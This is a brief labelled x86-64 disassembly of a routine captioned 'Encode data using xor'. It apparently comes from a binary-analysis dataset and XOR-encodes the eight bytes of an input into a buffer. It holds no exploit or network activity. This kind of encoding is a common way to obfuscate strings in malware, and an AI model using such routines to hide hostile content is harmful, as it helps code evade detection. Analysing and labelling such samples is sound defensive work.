Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
xor r10d, r10d
mov r9, rcx
mov qword [rcx], r10
mov r11, rdx
mov qword [rcx + 8], r10
movdqu xmm2, xmmword [rcx]
lea ebx, [r10 + 0x69]
mov ecx, r10d
movzx r8d, r11b
mov edx, 0xaa
cmp r8b, bl
cmovne rdx, rbx
shr r11, 8
xor r8, rdx
mov rax, rdx
shl rax, cl
inc r10d
shl r8, cl
add ecx, 8
movq xmm0, rax
movq xmm1, r8
punpcklqdq xmm1, xmm0
paddq xmm1, xmm2
movdqa xmm2, xmm1
movdqu xmmword [r9], xmm1
cmp r10d, 8
jb 0x14000b174
mov rbx, qword [rsp + 8]
mov rax, r9
ret